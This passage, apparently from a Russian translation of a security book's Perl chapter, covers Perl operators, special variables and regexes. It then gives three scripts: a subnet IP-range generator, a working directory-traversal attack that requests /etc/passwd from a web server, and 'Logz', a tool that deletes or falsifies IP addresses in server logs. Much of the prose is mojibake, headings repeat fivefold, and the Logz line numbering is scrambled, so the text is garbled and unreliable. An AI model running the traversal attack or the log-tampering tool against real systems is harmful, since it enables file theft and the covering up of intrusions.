значение меньше второго $foo lt «bar»

>= ge Возвращает true, если первое $num1 >= $num2
значение больше или равно $foo ge «bar»
второму

<= le Возвращает true, если первое $num1 <= $num2
значение меньше или равно $foo le «bar»
второму

Ñòðîêîâûå îïåðàòîðû ïîëåçíû äëÿ ìîäèôèêàöèè è ïîèñêà âíóòðè ñòðîêè.
Ïîìèìî îïåðàòîðîâ äëÿ ïîèñêà, ñîïîñòàâëåíèÿ ñ îáðàçöîì è çàìåíû ê âà-
øèì óñëóãàì ðàçëè÷íûå âèäû ðåãóëÿðíûõ âûðàæåíèé. Â òàáëèöå 1.5 ïåðå-
÷èñëåíû ñòðîêîâîå îïåðàòîðû â ÿçûêå Perl.

Таблица 1.5. Строковые операторы в Perl

Оператор Назначение Пример

x Повторяет строку указанное число раз $foo x $bar
index() Возвращает смещение указанной $in = index($foo,

подстроки относительно начала строки $bar);
substr() Возвращает подстроку указанной строки, substr($foo, $in,

начинающуюся с указанного смещения $len);

Пример Perl3сценария

Ïðèìåð 1.28 ñîäåðæèò 35 ñòðîê êîäà è ñëóæèò äëÿ ãåíåðèðîâàíèÿ ñïèñêà IP-
àäðåñîâ, ïîëó÷àþùåãîñÿ â ðåçóëüòàòå àíàëèçà àäðåñà òåñòèðóåìîé ïîäñåòè.
Ïîñêîëüêó Perl-ñöåíàðèè ïî÷òè íèêîãäà íå èìåþò ãðàôè÷åñêîãî èíòåðôåéñà,
òî ðàçáîð êîìàíäíîé ñòðîêè îêàçûâàåòñÿ âåñüìà âàæíîé çàäà÷åé. Äèàïàçîíû
ðàçáèðàòü òðàäèöèîííî òðóäíî, ïîñêîëüêó îíè ñîäåðæàò íåñêîëüêî êîìïî-
íåíòîâ, äëÿ âûäåëåíèÿ êîòîðûõ íóæíî ïðèëîæèòü íåìàëî óñèëèé. À åñëè íå
ïðîÿâëÿòü äîëæíîé àêêóðàòíîñòè, ëåãêî äîïóñòèòü îøèáêó.

Пример 1.28. Пример 1.28. Пример 1.28. Пример 1.28. Пример 1.28. Разбора IP*адреса подсети, указанного в командной строке
1 #!/usr/bin/perl
2 if(@ARGV<2){print "Usage: $0 <network> <port>\nExample: $0 10.*.*.* 80
   or 10.4.*.* 80 or 10.4.3.* 80\n";exit;}
3 else{
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 4  use IO::Socket;
 5  $sIP="@ARGV[0]";
 6  $port="@ARGV[1]";
 7  ($ip1,$ip2,$ip3,$ip4)=split(/\./,$sIP);
 8  if($ip2 eq '*')
 9    {$ip2=1;$ip3=1;$ip4=1;$x='a';print "Ñêàíèðîâàíèå ñåòè êëàññà A\n";}
10  elsif($ip3 eq '*')
11    {$ip3=1; $ip4=1; $x='b'; print "Ñêàíèðîâàíèå ñåòè êëàññà B\n";}
12  elsif($ip4 eq '*')
13    {$ip4=1; $x='c'; print "Ñêàíèðîâàíèå ñåòè êëàññà C\n";}
14
15  while($ip2<255 && $x eq 'a')
16  {
17    while($ip3<255 && ($x eq 'a' || $x eq 'b'))
18    {
19      while($ip4<255)
20      {
21        $ipaddr="$ip1.$ip2.$ip3.$ip4";
22        print "$ipaddr\n";
23        #IP_connect($ipaddr);
24        $ip4++;
25      }
26      $ip4=1;
27      $ip3++;
28      if($x eq 'c') {$ip3=255; $ip2=255;}
29    }
30    $ip4=1;
31    $ip3=1;
32    $ip2++;
33    if($x eq 'c' || $x eq 'b') {$ip3=255; $ip2=255;}
34  }
35 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ñòðîêà 1 ÷àñòî èñïîëüçóåòñÿ â Perl-ñöåíàðèÿõ íà ïëàòôîðìå UNIX è Linux äëÿ
óêàçàíèÿ òîãî, ãäå èñêàòü ñàì èíòåðïðåòàòîð Perl. Ïî÷òè âî âñåõ äèñòðèáóòè-
âàõ äëÿ Win32 îíà íå íóæíà. Â ñòðîêå 2 ïðîâåðÿåòñÿ, ÷òî ñöåíàðèþ ïåðåäà-
íî ïî ìåíüøåé ìåðå äâà àðãóìåíòà, à åñëè ýòî íå òàê, òî íà STDOUT âûâî-
äèòñÿ ñîîáùåíèå î ïîðÿäêå çàïóñêà.

Â ñòðîêàõ 5 è 6 àðãóìåíòû, óêàçàííûå â êîìàíäíîé ñòðîêå, êîïèðóþòñÿ
â ïåðåìåííûå. Îòìåòèì, ÷òî äî íà÷àëà ðàçáîðà íèêàêîãî êîíòðîëÿ çíà÷åíèé
àðãóìåíòîâ íå ïðîèçâîäèòñÿ. Ýòî ñäåëàíî ñîçíàòåëüíî, ïîñêîëüêó îñíîâíàÿ
öåëü äàííîãî óïðàæíåíèÿ – ïîêàçàòü, êàê óâåëè÷èòü IP-àäðåñ.

Â ñòðîêå  6 âûçûâàåòñÿ ôóíêöèÿ split, êîòîðàÿ ðàçáèâàåò ïåðåäàííûé IP-àäðåñ
íà ÷åòûðå öåëûõ ÷èñëà, êîòîðûå ìîæíî óâåëè÷èâàòü íåçàâèñèìî äðóã îò äðóãà.

Язык Perl
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Ñòðîêè 8–13 ïðèâåäåíû èç ýñòåòè÷åñêèõ ñîîáðàæåíèé, â íèõ ïå÷àòàåòñÿ
êëàññ àíàëèçèðóåìîé ñåòè, îïðåäåëÿåìûé íà îñíîâå ÷èñëà çâåçäî÷åê â àäðåñå.

Îñòàâøàÿñÿ ÷àñòü ïðîãðàììû ñîñòîèò èç âëîæåííûõ öèêëîâ, âíóòðè êîòî-
ðûõ IP-àäðåñ óâåëè÷èâàåòñÿ, ïîêà íå áóäåò èñ÷åðïàí âåñü äèàïàçîí. Â ïåðåìåí-
íîé $i p4 õðàíèòñÿ ïîñëåäíèé èç ÷åòûðåõ îêòåòîâ IP-àäðåñà. Òàê, äëÿ àäðåñà
10.9.5.123 ïîñëåäíèì îêòåòîì áóäåò 123. $i p4 óâåëè÷èâàåòñÿ â ñàìîì âíóòðåí-
íåì öèêëå; êîãäà áóäåò äîñòèãíóòî çíà÷åíèå 255 (ñòðîêà 19), ïðîèñõîäèò ïåðå-
õîä ê ñëåäóþùåé èòåðàöèè îáúåìëþùåãî öèêëà, íà÷èíàþùåãîñÿ â ñòðîêå 17.
Â ýòîì öèêëå  óâåëè÷èâàåòñÿ îêòåò $ip3, åñëè àíàëèçèðóåìàÿ ñåòü ïðèíàäëåæà-
ëà êëàññó A èëè B.

Ñòðîêà 23 çàêîììåíòàðåíà è ïðèâåäåíà ëèøü äëÿ òîãî, ÷òîáû ïîêàçàòü, êàê
ëåãêî ìîæíî áûëî áû èñïîëüçîâàòü ñãåíåðèðîâàííûå IP-àäðåñà. Ñàìûé âíå-
øíèé öèêë èñïîëíÿåòñÿ ëèøü òîãäà, êîãäà ñåòü ïðèíàäëåæèò êëàññó A. Îáðà-
òèòå âíèìàíèå, ÷òî â íåì óâåëè÷èâàåòñÿ âòîðîé, à íå ïåðâûé îêòåò.

Специальные переменные

Â ÿçûêå Perl èìååòñÿ òàêæå íàáîð «ñïåöèàëüíûõ ïåðåìåííûõ». Â íèõ õðàíèò-
ñÿ äèíàìè÷åñêè îáíîâëÿåìàÿ èíôîðìàöèÿ î òåêóùåì ýêçåìïëÿðå ñöåíàðèÿ è
ñðåäå åãî âûïîëíåíèÿ. Ê ñïåöèàëüíûì îòíîñÿòñÿ, â ÷àñòíîñòè, ñëåäóþùèå
ïåðåìåííûå:

� $0.$0.$0.$0.$0. Ñîäåðæèò èìÿ èñïîëíÿåìîãî ñöåíàðèÿ, ýòî áûâàåò ïîëåçíî, êîãäà
íóæíî óïîìÿíóòü èìÿ â ñîîáùåíèè èëè ïðè ðàçâåòâëåíèè ïðîöåññà;

� $_.$_.$_.$_.$_. ×àñòî èñïîëüçóåòñÿ ïðè ïîèñêå è ñîïîñòàâëåíèè ñ îáðàçöîì äëÿ
ñòðîê, ÷èòàåìûõ èç ñòàíäàðòíîãî ââîäà;

� $/.$/.$/.$/.$/. Çíà÷åíèå ýòîé ïåðåìåííîé ñîäåðæèò ñòðîêó, èñïîëüçóåìóþ êàê ðàç-
äåëèòåëü çàïèñåé âî âõîäíîì ïîòîêå. Ïî óìîë÷àíèþ îíî ðàâíî ñèì-
âîëó íîâîé ñòðîêè \n;

� @ARGV@ARGV@ARGV@ARGV@ARGV..... Ìàññèâ ARGV ñîäåðæèò àðãóìåíòû ñöåíàðèÿ, çàäàííûå â êî-
ìàíäíîé ñòðîêå. Òàê, $ARGV[0] – ýòî ïåðâûé àðãóìåíò;

� @INC@INC@INC@INC@INC..... Â îòëè÷èå îò îïèñûâàåìîãî íèæå àññîöèàòèâíîãî ìàññèâà
%INC, ýòîò ñïèñîê ñîäåðæèò ïåðå÷åíü êàòàëîãîâ, â êîòîðûõ èùóòñÿ
âêëþ÷àåìûå ñ ïîìîùüþ ôóíêöèé do è require ôàéëû;

� %INC%INC%INC%INC%INC..... Àññîöèàòèâíûé ìàññèâ %INC ñîäåðæèò ïåðå÷åíü âñåõ âêëþ÷àå-
ìûõ ôàéëîâ, êîòîðûå íóæíû òåêóùåìó ñöåíàðèþ äëÿ óñïåøíîé êîì-
ïèëÿöèè è âûïîëíåíèÿ;

� %ENV%ENV%ENV%ENV%ENV..... Êàê è âî ìíîãèõ äðóãèõ ÿçûêàõ ïðîãðàììèðîâàíèÿ, õýø
%ENV ñîäåðæèò âñå ïåðåìåííûå îêðóæåíèÿ;

� STDINSTDINSTDINSTDINSTDIN..... ßâëÿåòñÿ ññûëêîé íà ñòàíäàðòíûé âõîäíîé ïîòîê. Îáû÷íî ýòî
óïðàâëÿåìàÿ ÷åëîâåêîì êîíñîëü, è â ýòîì ñëó÷àå ïðèçíàêîì êîíöà ôàé-
ëà ÿâëÿåòñÿ íàæàòèå ïðåäîïðåäåëåííîé êîìáèíàöèè êëàâèø;
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� STDOUTSTDOUTSTDOUTSTDOUTSTDOUT..... ßâëÿåòñÿ ññûëêîé íà ñòàíäàðòíûé ïîòîê âûâîäà. Ïî÷òè âî
âñåõ ñëó÷àÿõ ýòî îêíî êîìàíä íà ïëàòôîðìå Win32 èëè ëîêàëüíàÿ îáî-
ëî÷êà â UNIX;

� STDERRSTDERRSTDERRSTDERRSTDERR..... ßâëÿåòñÿ ññûëêîé íà ñòàíäàðòíûé ïîòîê äëÿ âûâîäà îøèáîê.
×àñòî èñïîëüçóåòñÿ äëÿ ïå÷àòè îòëàäî÷íîé èíôîðìàöèè è ñîîáùåíèé
îá îøèáêàõ.

Îïèñàííûå âûøå ïåðåìåííûå STDxxx äàþò ïðåêðàñíûé ïðèìåð èíêàïñó-
ëÿöèè ñèñòåìíûõ çàâèñèìîñòåé. Íàïðèìåð, â ñèñòåìàõ UNIX è Linux ïå÷àòü
íà STDOUT ñîîòâåòñòâóåò âûâîäó â ñòàíäàðòíóþ îáîëî÷êó (shell), à â ñðåäå
Microsoft Win32 – âûâîäó â îêíî êîìàíä.

Сопоставление с образцом и подстановка

Ïîñòîÿííî è âïîëíå çàñëóæåííî ïðåâîçíîñèìûé ìåõàíèçì ðåãóëÿðíûõ âû-
ðàæåíèé â Perl ïðåâîñõîäèò èìåþùèåñÿ â äðóãèõ ÿçûêàõ àíàëîãè, êîãäà äåëî
äîõîäèò äî ïîèñêà â ñòðîêàõ è ñîïîñòàâëåíèÿ ñòðîê ñ îáðàçöîì. Â Perl âñòðî-
åíû äâå âàæíûõ ôóíêöèè: match (ñîïîñòàâëåíèå) è subst (ïîäñòàíîâêà). Îáå
èñêëþ÷èòåëüíî ïðîñòû â èñïîëüçîâàíèè. Ôóíêöèÿ ñîïîñòàâëåíèÿ ïðèíèìà-
åò äâà àðãóìåíòà: ñòðîêó, â êîòîðîé ïðîèçâîäèòñÿ ïîèñê, è èñêîìûé îáðàçåö.
Ôóíêöèÿ ïîäñòàíîâêè ïðèíèìàåò òå æå äâà àðãóìåíòà, à òàêæå ñòðîêó, êîòî-
ðóþ íóæíî ïîäñòàâèòü âìåñòî íàéäåííîãî îáðàçöà:

� match($str, $pattern)
� subst($str, $pattern, $substitution)

Ïîìèìî äâóõ âûøåóïîìÿíóòûõ ôóíêöèé åñòü òðè âèäà ñîêðàùåííîé íîòà-
öèè. Â ïðèâåäåííîì íèæå ïðèìåðå â ïåðâîé ñòðîêå ïðîâåðÿåòñÿ, åñòü ëè îá-
ðàçåö «hacker» â ñòðîêå, õðàíÿùåéñÿ â ïåðåìåííîé $code. Â ñëåäóþùåé ñòðîêå,
íàïðîòèâ, ïðîâåðÿåòñÿ, ÷òî ïåðåìåííàÿ $code íå ñîîòâåòñòâóåò îáðàçöó
«hacker» (â íåé íåò òàêîé ïîäñòðîêè). Íàêîíåö, â òðåòüåé ñòðîêå âìåñòî ïîä-
ñòðîêè «hacker» ïîäñòàâëÿåòñÿ ñòðîêà «cracker».

$code =~ m/hacker/;
$code !~ m/hacker/;
$code =~ s/hacker/cracker/;

Ñëåäóþùåå âûðàæåíèå ñîîòâåòñòâóåò ëþáîé ëàòèíñêîé áóêâå â âåðõíåì
èëè íèæíåì ðåãèñòðå.

/[A-Za-z]/

À ýòî âûðàæåíèå ñîîòâåòñòâóåò âñåì ñòðî÷íûì áóêâàì è öèôðàì:

/[0-9a-z]/

Язык Perl
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Модификаторы регулярных выражений

Íèæå ïðèâåäåí ñïèñîê ìîäèôèêàòîðîâ ðåãóëÿðíûõ âûðàæåíèé â ÿçûêå Perl:

� /e./e./e./e./e. Ñîîáùàåò, ÷òî ïðàâóþ ÷àñòü ðåãóëÿðíîãî âûðàæåíèÿ, íàïðèìåð,
â êîíñòðóêöèè s/// íåîáõîäèìî âû÷èñëÿòü âî âðåìÿ âûïîëíåíèÿ, à íå
êîìïèëÿöèè;

� /ee./ee./ee./ee./ee. Àíàëîãè÷åí ïðåäûäóùåìó ñ òåì îòëè÷èåì, ÷òî ñòðîêà ñïðàâà îò s///
äîëæíà áûòü ñíà÷àëà ñêîìïèëèðîâàíà, à çàòåì âûïîëíåíà êàê êîä;

� /g./g./g./g./g. Óêàçûâàåò, ÷òî íåîáõîäèìî íàéòè âñå âõîæäåíèÿ îáðàçöà, à íå îñòà-
íàâëèâàòüñÿ íà ïåðâîì;

� /i./i./i./i./i. Ñîîáùàåò, ÷òî ïðè ñîïîñòàâëåíèè íå ñëåäóåò ó÷èòûâàòü ðåãèñòð áóêâ;
� /m./m./m./m./m. Ïîìîãàåò ïðè ïîèñêå â ñòðîêàõ, ñîäåðæàùèõ âíóòðè ñèìâîëû \n;

èíòåðïðåòèðóåò ìåòàñèìâîë ̂  òàê, ÷òîáû îí ñîîòâåòñòâîâàë îáðàçöó ïå-
ðåä ñèìâîëîì íîâîé ñòðîêè, à ñèìâîë $ òàê, ÷òîáû îí ñîîòâåòñòâîâàë
îáðàçöó ïîñëå ñèìâîëà íîâîé ñòðîêè;

� /o./o./o./o./o. Èíôîðìèðóåò î òîì, ÷òî ðåãóëÿðíîå âûðàæåíèå äîëæíî áûòü îò-
êîìïèëèðîâàíî òîëüêî îäèí ðàç;

� /s./s./s./s./s. Àíàëîãè÷åí /m, òàêæå ïîìîãàåò ïðè ïîèñêå â ñòðîêå ñ âíóòðåííèìè
ñèìâîëàìè \n. Íàñòðàèâàåò ìåòàñèìâîë '.' òàê, ÷òî îí ñîîòâåòñòâóåò
ñèìâîëó íîâîé ñòðîêè. Êðîìå òîãî, âêëþ÷àåò ðåæèì èãíîðèðîâàíèÿ
óñòàðåâøåé ïåðåìåííîé $*;

� /x./x./x./x./x. Îáû÷íî èñïîëüçóåòñÿ äëÿ âêëþ÷åíèÿ â ðåãóëÿðíîå âûðàæåíèå èãíîðè-
ðóåìûõ ïðîáåëîâ è êîììåíòàðèåâ. Õîòÿ ïðèìåíÿåòñÿ è íå ÷àñòî, íî ñïî-
ñîáñòâóåò ñîçäàíèþ ïîíÿòíîãî è õîðîøî äîêóìåíòèðîâàííîãî êîäà.

Канонические инструменты, написанные на Perl

Â ýòîì ðàçäåëå ìû ïðîäåìîíñòðèðóåì íà ïðèìåðå íåñêîëüêèõ ñöåíàðèåâ íå-
êîòîðûå íàèáîëåå âàæíûå è øèðîêî ïðèìåíÿåìûå ñðåäñòâà ÿçûêà Perl. Ïðî-
ôåññèîíàëû â îáëàñòè èíôîðìàöèîííîé áåçîïàñíîñòè ÷àñòî ïèøóò íà Perl
ïðîãðàììû, äîêàçûâàþùèå æèçíåñïîñîáíîñòü òîé èëè èíîé èäåè, êîãäà íå
òðåáóåòñÿ îñîáàÿ ýôôåêòèâíîñòü, ñîçäàþò «ýêñïëîéòû», óòèëèòû äëÿ òåñòèðî-
âàíèÿ äðóãèõ ïðîãðàìì è âûÿâëåíèÿ óÿçâèìîñòåé â Web-ïðèëîæåíèÿõ, à òàê-
æå ñëîæíûå èíñòðóìåíòû íà áàçå ðåãóëÿðíûõ âûðàæåíèé. Êàê è â ñëó÷àå
áîëüøèíñòâà äðóãèõ èíòåðïðåòèðóåìûõ ÿçûêîâ, Perl-ñöåíàðèè íå ìîãóò áûòü
â ïîëíîì ñìûñëå îòêîìïèëèðîâàíû, òî åñòü ïðåâðàùåíû â äâîè÷íóþ ôîð-
ìó. Êîìïèëèðóåìûå ÿçûêè ïîçâîëÿþò íåñêîëüêî ïîâûñèòü áåçîïàñíîñòü çà
ñ÷åò òîãî, ÷òî âîññòàíîâèòü èñõîäíûé òåêñò ïðîãðàììû íåëåãêî.

Îäíàêî ñóùåñòâóåò íåñêîëüêî ïðîãðàìì äëÿ «êîìïèëÿöèè» Perl-ñöåíàðè-
åâ, òî÷íåå äëÿ ïðåâðàùåíèÿ èõ â íåïîñðåäñòâåííî èñïîëíÿåìûå ïðèëîæå-
íèÿ. Ïî áîëüøåé ÷àñòè â íèõ èñïîëüçóåòñÿ òåõíèêà îáåðòûâàíèÿ, êîãäà áàçî-
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âûå áèáëèîòåêè Perl è äèíàìè÷åñêè çàãðóæàåìûå áèáëèîòåêè (DLL) óïàêî-
âûâàþòñÿ â îäèí ôàéë âìåñòå ñ îäíèì èëè íåñêîëüêèìè ñöåíàðèÿìè. Â ðå-
çóëüòàòå âî âðåìÿ èñïîëíåíèÿ òàêîãî ôàéëà âåñü ÿçûê çàãðóæàåòñÿ â ïàìÿòü
âìåñòå ñî ñöåíàðèåì. Îñíîâíîé íåäîñòàòîê òàêîãî ïîäõîäà â ðàçìåðå èñïîë-
íÿåìîãî ôàéëà, îí âåñüìà âåëèê èç-çà òåõ ôàéëîâ, êîòîðûå äîëæíû áûòü
âêëþ÷åíû â «óïàêîâêó».

Èç ñàìûõ èçâåñòíûõ êîìïèëÿòîðîâ Perl ìîæíî íàçâàòü:

� ActiveState Perl Development Kit (www.activestate.com);
� PerlCC (http://www.perl.com/doc/manual/html/utils/perlcc.html).

Я умею писать на Perl!

Ïðèâåäåííûé íèæå êðîõîòíûé ñöåíàðèé – ýòî íå ÷òî èíîå, êàê ìîäèôèöè-
ðîâàííàÿ ïðîãðàììà «Çäðàâñòâóé, ìèð». Îí ïðèçâàí ëèøü äàòü ïðåäñòàâëå-
íèå î ñèíòàêñèñå ÿçûêà. Ñðåäíÿÿ ñòðîêà – ýòî êîììåíòàðèé.

#! /usr/local/bin/perl
# Ìîé ïåðâûé ñöåíàðèé
print ("ß óìåþ ïèñàòü íà Perl!");

Êàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåðÊàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåðÊàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåðÊàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåðÊàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåð
Àòàêè íà Web-ñåðâåðû, íàïèñàííûå íà Perl (èõ îáû÷íî íàçûâàþò CGI-õàê), –
îäèí èç ïðîñòåéøèõ âèäîâ «ýêñïëîéòîâ». Äëÿ ëþáîé óÿçâèìîñòè, êîòîðàÿ
ìîæåò áûòü àòàêîâàíà ñ ïîìîùüþ ââîäà óíèâåðñàëüíîãî èäåíòèôèêàòîðà ðå-
ñóðñà (URI) â àäðåñíîé ñòðîêå áðàóçåðà, ëåãêî íàïèñàòü ñîîòâåòñòâóþùèé
ñöåíàðèé íà Perl.

Пример 1.29. Пример 1.29. Пример 1.29. Пример 1.29. Пример 1.29. Каноническая атака на Web*сервер
 1 #! /usr/local/bin/perl

 2 # Êàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåð

 3 use IO::Socket;

 4 use strict;

 5 print "\nÏðî÷òèòå äëÿ íà÷àëà\n\n";

 6 print "Ïîðÿäîê âûçîâà: canonical.pl target_ipaddress \n";

 7 my $host = $ARGV[0];

 8 my $port = 80;

 9 my $attack_string = " GET /cgi-bin/bad.cgi?

      q=../../../../../../../../../../../etc/passwd%00\n\n";

10 my $receivedline;

11 my @thedata;

12 my $tcpval = getprotobyname('tcp');

13 my $serverIP = inet_aton($host);

14 my $serverAddr = sockaddr_in(80, $serverIP);

15 my $protocol_name = "tcp";

Язык Perl
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16 my $iaddr = inet_aton($host) ||

   die print("Îøèáêà ïðè çàäàíèè àäðåñà õîñòà: $host");

17 my $paddr = sockaddr_in($port, $iaddr) ||

   die print("Îøèáêà ïðè çàäàíèè öåëåâîãî ïîðòà èëè àäðåñà");

18 my $proto = getprotobyname('tcp') ||

   die print("Îøèáêà ïðè ïîèñêå ïðîòîêîëà äëÿ ñîåäèíåíèÿ ñ ñîêåòîì");

19 socket(SOC, PF_INET, SOCK_STREAM, $proto) ||

   die print("Îøèáêà ïðè ñîçäàíèè ñîêåòà!");

20 connect(SOC, $paddr) ||

   die print("Îøèáêà ïðè óñòàíîâëåíèè ñîåäèíåíèÿ!");

21 send(SOC,$attack_string,0);

22 @thedata=<SOC>;

23 close (SOC);

24 print "Ïîëó÷åíû ñëåäóþùèå äàííûå:\n";

25 foreach $receivedline(@thedata)

26 {

27   print "$receivedline";

28 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Âñå ïåðåìåííûå, íåîáõîäèìûå äëÿ ïðîâåäåíèÿ àòàêè, îïðåäåëÿþòñÿ

â ñòðîêàõ 7–18;
� Â ñòðîêàõ 19–20 ñîçäàåòñÿ è èíèöèàëèçèðóåòñÿ ñîêåò, ÷åðåç êîòîðûé áó-

äåò ïîñûëàòüñÿ çàïðîñ ñèñòåìå-æåðòâå. Â ñòðîêå 21 ïîñûëàåòñÿ ñòðîêà
çàïðîñà $attack_string, à â ñòðîêå 22 ïîëó÷åííûå îò ñåðâåðà ñòðîêè ñîõðà-
íÿþòñÿ â ìàññèâå @thedata;

� Íàêîíåö, â ñòðîêàõ 24–28 îòâåò âûâîäèòñÿ íà STDOUT.

Утилита модификации файла протокола

Âûøå óæå îòìå÷àëîñü, ÷òî ñèëüíîé ñòîðîíîé Perl ÿâëÿåòñÿ ìàíèïóëèðîâà-
íèå ñòðîêàìè. Ýòîò ÿçûê ïðîãðàììèðîâàíèÿ ñïîñîáåí àíàëèçèðîâàòü ñòðî-
êè, ïðîèçâîäèòü â íèõ ïîèñê è çàìåíó, ïîëüçóÿñü ëèøü ðåãóëÿðíûìè âû-
ðàæåíèÿìè. Ïðèìåð 1.30 äåìîíñòðèðóåò ïðèìåíåíèå ýòèõ âîçìîæíîñòåé;
êðîìå òîãî, çäåñü ïîêàçàíî, êàê ìîæíî ãåíåðèðîâàòü ñëó÷àéíûå ÷èñëà è ñî-
çäàâàòü ñòðîêè. Â ïðèìåðå èñïîëüçóåòñÿ áèáëèîòå÷íûé ìîäóëü GetOpt, ïî-
ñòàâëÿåìûé âìåñòå ñ Perl.

Пример 1.30. Пример 1.30. Пример 1.30. Пример 1.30. Пример 1.30. Logz
1 #!/usr/bin/perl

2 #Logz version 1.0

3 #By: James C. Foster

4 #Released by James C. Foster & Mark Burnett at BlackHat Windows 2004
    in Seattle
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 5 #January 2004

 6
 7 use Getopt::Std;

 8
 9 getopts('d:t:rhs:l:') || usage();

10
11 $logfile = $opt_l;

12
13 ##########

14
15 if ($opt_h == 1)

16 {

17   usage();

18 }

19 ##########

20
21 if ($opt_t ne "" && $opt_s eq "")

22 {

23   open (FILE, "$logfile");

24
25   while (<FILE>)

26   {

27     $ranip=randomip();

28     s/$opt_t/$ranip/;

29     push(@templog,$_);

30     next;

31   }

32
33   close FILE;

34   open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü");

35   print FILE2"@templog";

36   close FILE2;

37 }

38 ##########

39
40 if ($opt_s ne "")

41 {

42   open (FILE, "$logfile");

43
44   while (<FILE>)

45   {

46     s/$opt_t/$opt_s/;

47     push(@templog,$_);

48     next;

49   }

50
51   close FILE;

52   open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü");

53   print FILE2"@templog";
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154  close FILE2;
155
156 }
157 ##########
158
159 if ($opt_r ne "")
160 {
161  open (FILE, "$logfile");
162
163  while (<FILE>)
164  {
165    $ranip=randomip();
166    s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/;
167    push(@templog,$_);
168    next;
169  }
170
171  close FILE;
172  open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü ");
173  print FILE2"@templog";
174  close FILE2;
175 }
176 ##########
177
178 if ($opt_d ne "")
179 {
180  open (FILE, "$logfile");
181
182  while (<FILE>)
183  {
184
185    if (/.*$opt_d.*/)
186    {
187      next;
188    }
189
190    push(@templog,$_);
191    next;
192
193  }
194
195  close FILE;
196  open (FILE2, ">$logfile") || die("Íå ìîãó îòêðûòü");
197  print FILE2 "@templog";
198  close FILE2;
199 }
100 ###########
101
102 sub usage
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103 {
104  print "\nLogz v1.0 – óíèâåðñàëüíàÿ óòèëèòà ìîäèôèêàöèè ïðîòîêîëîâ
     äëÿ Microsoft Windows \n";

105  print "Íàïèñàë: James C. Foster äëÿ BlackHat Windows 2004\n";
106  print "Èäåÿ: James C. Foster and Mark Burnett\n\n";
107  print "Ïîðÿäîê âûçîâà: $0 [-options *]\n\n";
108  print "\t-h\t\t: Ñïðàâêà\n";
109  print "\t-d IP-àäðåñ\t: Óäàëèòü çàïèñè ñ óêàçàííûì IP-àäðåñîì\n";
110  print "\t-r\t\t: Çàìåíèòü âñå IP-àäðåñà ñëó÷àéíûìè\n";
111  print "\t-t öåëåâîé IP\t: ïîäìåíèòü öåëåâîé àäðåñ (ñëó÷àéíûì, åñëè
     èíîå íå óêàçàíî)\n";

112  print "\t-s ïîääåëüíûé IP\t: ïîäìåíèòü öåëåâîé àäðåñ ýòèì
     (íåîáÿçàòåëüíûé ïàðàìåòð)\n";

113  print "\t-l ôàéë ïðîòîêîëà\t: ôàéë, êîòîðûé âû õîòèòå
     ìîäèôèöèðîâàòü\n\n";

114  print "\tÏðèìåð: logz.pl -r -l IIS.log\n";
115  print "\t         logz.pl -t 10.1.1.1 -s 20.2.3.219
      -l myTestLog.txt\n";

116  print "\t         logz.pl -d 192.10.9.14 IIS.log\n";
117 }
118 #ñãåíåðèðîâàòü ñëó÷àéíûé IP-àäðåñ
119
120 sub randomip
121 {
122   $a = num();
123   $b = num();
124   $c = num();
125   $d = num();
126   $dot = '.';
127   $total = "$a$dot$b$dot$c$dot$d";
128   return $total;
129 }
130
131 sub num
132 {
133   $random = int( rand(230)) + 11;
134   return $random;
135 }

Ðåçóëüòàò âûïîëíåíèÿÐåçóëüòàò âûïîëíåíèÿÐåçóëüòàò âûïîëíåíèÿÐåçóëüòàò âûïîëíåíèÿÐåçóëüòàò âûïîëíåíèÿ
Logz v1.0 – óíèâåðñàëüíàÿ óòèëèòà ìîäèôèêàöèè ïðîòîêîëîâ äëÿ Microsoft
Windows
Íàïèñàë: James C. Foster äëÿ BlackHat Windows 2004
Èäåÿ: James C. Foster and Mark Burnett
Ïîðÿäîê âûçîâà: $0 [-options *]

-h : Ñïðàâêà\n";
-d IP-àäðåñ : Óäàëèòü çàïèñè ñ óêàçàííûì IP-àäðåñîì
-r : Çàìåíèòü âñå IP-àäðåñà ñëó÷àéíûìè
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-t öåëåâîé IP : Ïîäìåíèòü öåëåâîé àäðåñ (ñëó÷àéíûì, åñëè èíîå íå óêàçàíî
-s ïîääåëüíûé IP : Ïîäìåíèòü öåëåâîé àäðåñ ýòèì (íåîáÿçàòåëüíûé

  ïàðàìåòð)
-l ôàéë ïðîòîêîëà : Ôàéë, êîòîðûé âû õîòèòå ìîäèôèöèðîâàòü

Ïðèìåð: logz.pl -r -l IIS.log
logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt
logz.pl -d 192.10.9.14 IIS.log

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêå 7 èìïîðòèðóåòñÿ ìîäóëü GetOpt. Îí îáëåã÷àåò ðàçáîð êîìàíäíîé
ñòðîêè. Çíà÷åíèÿ, ñëåäóþùèå çà ôëàãàìè, ïîìåùàþòñÿ â ñîîòâåòñòâóþùóþ ïå-
ðåìåííóþ opt_ (íàïðèìåð, â ðåçóëüòàòå ðàçáîðà êîìàíäíîé ñòðîêè /devel/]$
command -r user áóäåò ñîçäàíà ïåðåìåííàÿ $opt_r, çíà÷åíèå êîòîðîé ðàâíî user).

Â ñòðîêå 9 ôóíêöèÿ getopts èçâëåêàåò àðãóìåíòû èç êîìàíäíîé ñòðîêè. Òå
ôëàãè, çà êîòîðûìè ñëåäóåò äâîåòî÷èå ':', òðåáóþò íàëè÷èÿ çíà÷åíèÿ; ïðî÷èå
ôëàãè ïðåäñòàâëÿþò ñîáîé ïðîñòî áóëåâñêèå âåëè÷èíû. Ïîçæå çíà÷åíèÿ
ôëàãîâ áóäóò èñïîëüçîâàíû â ïðîãðàììå. Åñëè íå çàäàíî íèêàêèõ àðãóìåí-
òîâ, ñöåíàðèé ïå÷àòàåò ñïðàâêó î ïîðÿäêå çàïóñêà.

